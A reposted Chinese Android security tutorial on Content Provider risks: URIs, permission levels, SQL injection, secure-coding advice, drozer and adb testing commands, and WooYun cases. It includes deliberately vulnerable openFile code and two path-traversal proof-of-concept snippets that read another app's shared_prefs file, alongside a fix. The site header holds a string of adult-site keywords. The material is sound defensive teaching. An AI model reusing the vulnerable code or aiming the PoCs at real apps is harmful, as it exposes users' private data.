日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > Android >内容正文

Android

Android Content Provider Security

發(fā)布時(shí)間:2025/3/15 Android 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Android Content Provider Security 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

0x00 科普


內(nèi)容提供器用來存放和獲取數(shù)據(jù)并使這些數(shù)據(jù)可以被所有的應(yīng)用程序訪問。它們是應(yīng)用程序之間共享數(shù)據(jù)的唯一方法;不包括所有Android軟件包都能訪問的公共儲(chǔ)存區(qū)域。Android為常見數(shù)據(jù)類型(音頻,視頻,圖像,個(gè)人聯(lián)系人信息,等等)裝載了很多內(nèi)容提供器。你可以看到在android.provider包里列舉了一些。你還能查詢這些提供器包含了什么數(shù)據(jù)。當(dāng)然,對(duì)某些敏感內(nèi)容提供器,必須獲取對(duì)應(yīng)的權(quán)限來讀取這些數(shù)據(jù)。

如果你想公開你自己的數(shù)據(jù),你有兩個(gè)選擇:你可以創(chuàng)建你自己的內(nèi)容提供器(一個(gè)ContentProvider子類)或者你可以給已有的提供器添加數(shù)據(jù),前提是存在一個(gè)控制同樣類型數(shù)據(jù)的內(nèi)容提供器且你擁有讀寫權(quán)限。

0x01 知識(shí)要點(diǎn)


參考:http://developer.android.com/guide/topics/providers/content-providers.html

Content URIs

content URI 是一個(gè)標(biāo)志provider中的數(shù)據(jù)的URI.Content URI中包含了整個(gè)provider的以符號(hào)表示的名字(它的authority) 和指向一個(gè)表的名字(一個(gè)路徑).當(dāng)你調(diào)用一個(gè)客戶端的方法來操作一個(gè)provider中的一個(gè)表,指向表的content URI是參數(shù)之一.

A. 標(biāo)準(zhǔn)前綴表明這個(gè)數(shù)據(jù)被一個(gè)內(nèi)容提供器所控制。它不會(huì)被修改。

B. URI的權(quán)限部分;它標(biāo)識(shí)這個(gè)內(nèi)容提供器。對(duì)于第三方應(yīng)用程序,這應(yīng)該是一個(gè)全稱類名(小寫)以確保唯一性。權(quán)限在元素的權(quán)限屬性中進(jìn)行聲明:

<provider name=".TransportationProvider"authorities="com.example.transportationprovider". . . >

C. 用來判斷請(qǐng)求數(shù)據(jù)類型的路徑。這可以是0或多個(gè)段長。如果內(nèi)容提供器只暴露了一種數(shù)據(jù)類型(比如,只有火車),這個(gè)分段可以沒有。如果提供器暴露若干類型,包括子類型,那它可以是多個(gè)分段長-例如,提供"land/bus", "land/train", "sea/ship", 和"sea/submarine"這4個(gè)可能的值。

D. 被請(qǐng)求的特定記錄的ID,如果有的話。這是被請(qǐng)求記錄的_ID數(shù)值。如果這個(gè)請(qǐng)求不局限于單個(gè)記錄, 這個(gè)分段和尾部的斜線會(huì)被忽略:

content://com.example.transportationprovider/trains

ContentResolver

ContentResolver的方法們提供了對(duì)存儲(chǔ)數(shù)據(jù)的基本的"CRUD" (增刪改查)功能

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 getIContentProvider() ??????Returns the Binder object for this provider. delete(Uri uri, String selection, String[] selectionArgs) -----abstract ??????A request to delete one or more rows. insert(Uri uri, ContentValues values) ??????Implement this to insert a new row. query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) ??????Receives a query request from a client in a local process, and returns a Cursor. update(Uri uri, ContentValues values, String selection, String[] selectionArgs) ??????Update a content URI. openFile(Uri uri, String mode) ??????Open a file blob associated with a content URI.

Sql注入

sql語句拼接

1 2 // 通過連接用戶輸入到列名來構(gòu)造一個(gè)選擇條款 String mSelectionClause =? "var = " + mUserInput;

參數(shù)化查詢

1 2 // 構(gòu)造一個(gè)帶有占位符的選擇條款 String mSelectionClause =? "var = ?";

權(quán)限

下面的 元素請(qǐng)求對(duì)用戶詞典的讀權(quán)限:

<uses-permission android:name="android.permission.READ_USER_DICTIONARY">

申請(qǐng)某些protectionLevel="dangerous"的權(quán)限

<uses-permission android:name="com.huawei.dbank.v7.provider.DBank.READ_DATABASE"/><permission android:name="com.huawei.dbank.v7.provider.DBank.READ_DATABASE" android:protectionLevel="dangerous"></permission>

android:protectionLevel

normal:默認(rèn)值。低風(fēng)險(xiǎn)權(quán)限,只要申請(qǐng)了就可以使用,安裝時(shí)不需要用戶確認(rèn)。

dangerous:像WRITE_SETTING和SEND_SMS等權(quán)限是有風(fēng)險(xiǎn)的,因?yàn)檫@些權(quán)限能夠用來重新配置設(shè)備或者導(dǎo)致話費(fèi)。使用此protectionLevel來標(biāo)識(shí)用戶可能關(guān)注的一些權(quán)限。Android將會(huì)在安裝程序時(shí),警示用戶關(guān)于這些權(quán)限的需求,具體的行為可能依據(jù)Android版本或者所安裝的移動(dòng)設(shè)備而有所變化。

signature:這些權(quán)限僅授予那些和本程序應(yīng)用了相同密鑰來簽名的程序。

signatureOrSystem:與signature類似,除了一點(diǎn),系統(tǒng)中的程序也需要有資格來訪問。這樣允許定制Android系統(tǒng)應(yīng)用也能獲得權(quán)限,這種保護(hù)等級(jí)有助于集成系統(tǒng)編譯過程。

API

Contentprovider組件在API-17(android4.2)及以上版本由以前的exported屬性默認(rèn)ture改為默認(rèn)false。

Contentprovider無法在android2.2(API-8)申明為私有。

<!-- *** POINT 1 *** Do not (Cannot) implement Private Content Provider in Android 2.2 (API Level 8) or earlier. --> <uses-sdk android:minSdkVersion="9" android:targetSdkVersion="17" />

關(guān)鍵方法

  • public void addURI (String authority, String path, int code)
  • public static String decode (String s)
  • public ContentResolver getContentResolver()
  • public static Uri parse(String uriString)
  • public ParcelFileDescriptor openFile (Uri uri, String mode)
  • public final Cursor query(Uri uri, String[] projection,String selection, String[] selectionArgs, String sortOrder)
  • public final int update(Uri uri, ContentValues values, String where,String[] selectionArgs)
  • public final int delete(Uri url, String where, String[] selectionArgs)
  • public final Uri insert(Uri url, ContentValues values)

0x02 content provider 分類


這個(gè)老外分的特別細(xì),個(gè)人認(rèn)為就分private、public、in-house差不多夠用。

0x03 安全建議


  • minSdkVersion不低于9
  • 不向外部app提供的數(shù)據(jù)的私有content provider設(shè)置exported=“false”避免組件暴露(編譯api小于17時(shí)更應(yīng)注意此點(diǎn))
  • 使用參數(shù)化查詢避免注入
  • 內(nèi)部app通過content provid交換數(shù)據(jù)設(shè)置protectionLevel=“signature”驗(yàn)證簽名
  • 公開的content provider確保不存儲(chǔ)敏感數(shù)據(jù)
  • Uri.decode() before use ContentProvider.openFile()
  • 提供asset文件時(shí)注意權(quán)限保護(hù)
  • 0x04 測(cè)試方法


    1、反編譯查看AndroidManifest.xml(drozer掃描)文件定位content provider是否導(dǎo)出,是否配置權(quán)限,確定authority

    1 2 drozer: run app.provider.info -a cn.etouch.ecalendar

    2、反編譯查找path,關(guān)鍵字addURI、hook api 動(dòng)態(tài)監(jiān)測(cè)推薦使用zjdroid

    3、確定authority和path后根據(jù)業(yè)務(wù)編寫POC、使用drozer、使用小工具Content Provider Helper、adb shell // 沒有對(duì)應(yīng)權(quán)限會(huì)提示錯(cuò)誤

    1 2 3 4 5 6 adb shell: adb shell content query --uri <URI> [--user <USER_ID>] [--projection <PROJECTION>] [--where <WHERE>] [--sort <SORT_ORDER>] content query --uri content://settings/secure --projection name:value --where "name='new_setting'" --sort "name ASC" adb shell content insert --uri content://settings/secure --bind name:s:new_setting --bind value:s:new_value adb shell content update --uri content://settings/secure --bind value:s:newer_value --where "name='new_setting'" adb shell content delete --uri content://settings/secure --where "name='new_setting'"
    1 2 drozer: run app.provider.query content://telephony/carriers/preferapn --vertical

    0x05 案例


    案例1:直接暴露

    • WooYun: 盛大Youni有你Android版敏感信息泄露(可讀用戶本地消息)
    • WooYun: 新浪微博Android應(yīng)用本地信息泄露
    • WooYun: 盛大起點(diǎn)讀書Android客戶端token等用戶敏感信息泄露
    • WooYun: 傲游瀏覽器限制不嚴(yán)格可導(dǎo)致網(wǎng)頁欺詐攻擊
    • WooYun: 搜狗手機(jī)瀏覽器隱私泄露和主頁篡改漏洞二合一(需要手機(jī)里有惡意應(yīng)用)
    • WooYun: 酷派S6流量監(jiān)控繞過(偷跑流量不是事兒)
    • WooYun: 酷派最安全手機(jī)s6通知欄管理權(quán)限繞過

    案例2:需權(quán)限訪問

    • WooYun: 米聊Android版敏感信息泄露(可讀用戶本地消息)
    • WooYun: 華為網(wǎng)盤content provider組件可能泄漏用戶信息
    • WooYun: 人人客戶端權(quán)限問題導(dǎo)致隱私泄露

    案例3:openFile文件遍歷

    • WooYun: 趕集網(wǎng)Android客戶端Content Provider組件任意文件讀取漏洞
    • WooYun: 獵豹瀏覽器(Android版)任意私有文件數(shù)據(jù)可被本地第三方竊取漏洞
    • WooYun: 58同城Android客戶端遠(yuǎn)程文件寫入漏洞

    Override openFile method

    錯(cuò)誤寫法1:

    1 2 3 4 5 6 private static String IMAGE_DIRECTORY = localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri paramUri, String paramString) ????throws FileNotFoundException { ??File file = new File(IMAGE_DIRECTORY, paramUri.getLastPathSegment()); ??return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY); }

    錯(cuò)誤寫法2:URI.parse()

    1 2 3 4 5 6 private static String IMAGE_DIRECTORY = localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri paramUri, String paramString) ????throws FileNotFoundException { ????File file = new File(IMAGE_DIRECTORY, Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment()); ????return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY); }

    POC1:

    1 2 3 4 5 6 7 String target = "content://com.example.android.sdk.imageprovider/data/" + "..%2F..%2F..%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml"; ContentResolver cr = this.getContentResolver(); FileInputStream fis = (FileInputStream)cr.openInputStream(Uri.parse(target)); byte[] buff = new byte[fis.available()]; in.read(buff);

    POC2:double encode

    1 2 3 4 5 6 7 String target = "content://com.example.android.sdk.imageprovider/data/" + "%252E%252E%252F%252E%252E%252F%252E%252E%252Fdata%252Fdata%252Fcom.example.android.app%252Fshared_prefs%252FExample.xml"; ContentResolver cr = this.getContentResolver(); FileInputStream fis = (FileInputStream)cr.openInputStream(Uri.parse(target)); byte[] buff = new byte[fis.available()]; in.read(buff);

    解決方法Uri.decode()

    1 2 3 4 5 6 7 8 9 10 private static String IMAGE_DIRECTORY = localFile.getAbsolutePath(); ??public ParcelFileDescriptor openFile(Uri paramUri, String paramString) ??????throws FileNotFoundException { ????String decodedUriString = Uri.decode(paramUri.toString()); ????File file = new File(IMAGE_DIRECTORY, Uri.parse(decodedUriString).getLastPathSegment()); ????if (file.getCanonicalPath().indexOf(localFile.getCanonicalPath()) != 0) { ??????throw new IllegalArgumentException(); ????} ????return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY); ??}

    0x06 參考


    https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=111509535

    http://www.jssec.org/dl/android_securecoding_en.pdf

    http://developer.android.com/intl/zh-cn/reference/android/content/ContentProvider.html

    0x07 相關(guān)閱讀

    http://zone.wooyun.org/content/15097

    http://drops.wooyun.org/tips/2997


    原文地址: http://drops.wooyun.org/tips/4314

    總結(jié)

    以上是生活随笔為你收集整理的Android Content Provider Security的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。